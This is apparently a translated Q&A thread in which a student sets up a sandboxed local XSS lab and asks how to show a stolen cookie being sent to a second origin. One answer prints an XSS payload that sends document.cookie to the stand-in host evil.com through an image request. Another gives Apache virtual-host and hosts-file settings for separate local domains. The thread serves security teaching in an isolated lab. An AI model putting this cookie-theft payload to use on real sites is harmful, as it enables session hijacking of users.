我在XSHM(跨站点历史操作)上做项目。
我试图说明如何使用XSS(跨站点脚本)可以违反SOP。我已经在沙箱XP机器内设置了一个localhost(WAMP)服务器(必须遵守道德规范),并且使用易受XSS攻击的简单登录脚本。
问题)我想表明,在将恶魔JavaScript代码注入登录页面之后,我可以将用户cookie发送到另一个来源但是如何使用localhost服务器执行此操作?
如果localhost是一个来源(即受害者网站),我如何创建与localhost不同的另一个来源(即坏人网站)来发送cookie?我知道在同一起源要求(协议,端口和域)是相同的。我无法更改为HTTPS localhost和HTTP localhost,因为我没有证书。我似乎无法根据需要更改端口号:80为Web。
我不想使用真实的网站并将cookie发送到localhost脚本,因为这样做是不道德的,也无法执行攻击,因为它不会有XSS漏洞来证明漏洞利用。
有什么想法吗?
答案 0 :(得分:0)
原点无关紧要,脚本只是在相同的原点上读取文档cookie,然后将其作为字符串发送到服务器,在其中解码,然后手动设置恶意行为者的浏览器或类似的cookie。 / p>
<script>
var img = new Image();
img.src = "http://www.evil.com/c="+escape(document.cookie);
</script>
这会在c参数中发送带有用户cookie详细信息的GET请求,只是请求图像不违反SOP,所以我不知道这是否有用。
答案 1 :(得分:0)
在Apache配置中设置一些virtual hosts,如下所示:
# Ensure that Apache listens on port 80
Listen 80
# Listen for virtual host requests on all IP addresses
NameVirtualHost *:80
<VirtualHost *:80>
DocumentRoot "C:\goodguy"
ServerName goodguy.com
# Other directives here
</VirtualHost>
<VirtualHost *:80>
DocumentRoot "C:\badguy"
ServerName badguy.com
# Other directives here
</VirtualHost>
将他们指向hosts
文件中的127.0.0.1
。
127.0.0.1 goodguy.com
127.0.0.1 badguy.com
现在,使用goodguy.com
和badguy.com
代替localhost
。